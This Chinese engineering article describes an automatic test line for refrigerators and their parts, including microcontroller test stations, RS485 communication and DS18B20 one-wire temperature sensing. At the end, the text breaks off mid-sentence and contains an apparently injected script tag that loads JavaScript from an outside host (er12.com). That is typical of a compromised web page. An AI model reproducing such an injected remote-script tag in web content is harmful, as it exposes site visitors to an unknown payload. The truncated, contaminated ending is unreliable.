电冰箱及其部件自动检测线设计与实施

摘 要:优质高效的电冰箱及其部件自动检测生产线是企业的关键设施。为了提供其设计和工程实施经验,介绍了该系统的结构和组成。重点描述了以一线总线技术为特征的测温子系统,并提出了上位机的信息通讯和处理软件的设计要点,工程实施的结果表明在投资、工程周期和运行指标等方面的优势是比较明显的。

  关键词:特征参数;自动检测;一线总线;分布式系统

  电冰箱及其部件的在线自动检测项目包括:

(1)冷冻室与冷藏室制冷特性曲线;

  (2)蒸发器与毛细管等管路器件的管路特性参数与泄漏特性;

(3)各类电气部件电气性能参数;

(4)产品完整的识别信息等等。

  利用管路泄漏特性的最新理论研究成果及以一线总线技术为特征的新型数字式温度传感器,配以技术成熟的分布式计算机自动测控系统,使电冰箱及其部件自动检测生产线的设计,工程实施和系统的运行,在投资,施工,运行操作和可靠性等方面显示出明显的优势。

1 系统组成

1.1 系统结构

  系统由上位机(pc-586)下位机(包括基于单片机的分布式温度采集模块、冰箱电器性能参数测试模块、冰箱管路特性和泄漏特性检测模块)以及测试管理软件组成,如图1所示。系统上位机通过rs485串行总线与下位机通讯,分布式温度采集模块通过一线式数据总线连接到分布在各个冰箱中的数字式温度传感器ds18b20,完成在线冰箱制冷特性曲线的数据采集与处理。

1.2 自动检测线工位介绍

  实际的电冰箱检测线有条形码读入工位;冰箱管路特性和泄漏特性测试工位;冰箱电气性能参数测试工位;以及6条制冷特性检测线(每条制冷特性检测线器),如图2所示。

  待装配的冰箱首先经过条形码读入工位,由条形码读入器读入产品识别信息;此后在冰箱管路特性和泄漏特性工位上,以at89c52单片机为核心元件,包括电磁阀、测温铂电阻、流量变送器、压力变送器和气动执行单元等外围器件,构成冰箱蒸发器(包括毛细管)综合测试台。通过对流经蒸发器的气体温度,压力,流量的自动检测,获取实测数据,判断蒸发器是否合格[1];接着在冰箱电气性能参数测试工位上,同样以at89c52单片机为下位机,由电子开关和微继电器构成电气部件性能测试台,可对电冰箱中的全套电气配件(包括压缩机、电磁阀、风扇、门灯、感温器等14个电气配件)的短路、断路和绝缘缺陷进行自动检测[2]。若以上检测全部合格,冰箱方可完成总装,再由上位机根据其条形码中所含的冰箱型号信息,向plc发出指令,由plc控制传送板链将冰箱送到某一制冷特性测试工位,人工将数字式温度传感器放入冷冻室和冷藏室后,进行制冷特性参数采集。

2 由ds18b20和单片机组成的多点测温系统

2.1 系统特性

  ds18b20是美国dallas公司近年来推出的数字式温度传感器,其器件的管芯内集成了温敏元件,数据转换芯片、存储器芯片和计算机接口芯片等多种功能模块。于是器件可直接输出二进制的温敏信号,并通过串行输出与单片机通讯。他的外部只有3根引脚,其中vdd和gnd为电源,另一根dq引脚则用作总线(data in/out),称为一线式数据总线,与微处理器接口时仅需占用一个i/o端口;器件的测温范围-55~+125℃;测温精度0.5℃;通过编程预设的方法,可直接将温度转换成9~12位二进制数串行输出;最大测温转换时间仅需750 ms。这种新型的数字温度传感器出现,给传统的测温接口电路引起了一场变革,并带来明显的经济效益[3]。

2.2 硬件配置

  系统硬件由89c2051单片机和少量外围器件组成,如图3所示。由于ds18b20采用独特的一线总线接口,一个一线接口上可以挂有多个ds18b20器件,而每一个器件含有一个惟一的64 b串行码,通过识别该码可以区分不同的传感器。主机通过识别串行码选择传感器,对其进行读、写、启动转换、设置报警阀值等操作。同时在器件内有9 b的ram和3 b的e2prom,可对传感器的工作方式进行设置并用来存储检测到的温度,供单片机读出。芯片max813提供下位机的监控功能,上电、掉电和电网电压过低时都会输出复位信号,同时他还能跟踪1.6 s的定时信号,为软件提供watch dog保护。max1483实现ttl电平与rs485电平之间的转换。

3 参数测试软件设计[4]

  下位机(89c2051)采集温度传感器数据经过一定的预处理后通过rs485串行总线口将数据送给上位pc机。在pc机上运行用微软visualbasic 6.0开发的windows环境下检测软件,接受串行口传来的数据,数据处理结果以图形的形式打印输出。上位机程序设计要点为:

(1)scomm通讯控件对串行口的设置通讯协议为:波特率9 600,偶校验,8个数据位,1个停止位。由上位机发送开始测试命令,下位机接收到命令后,?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计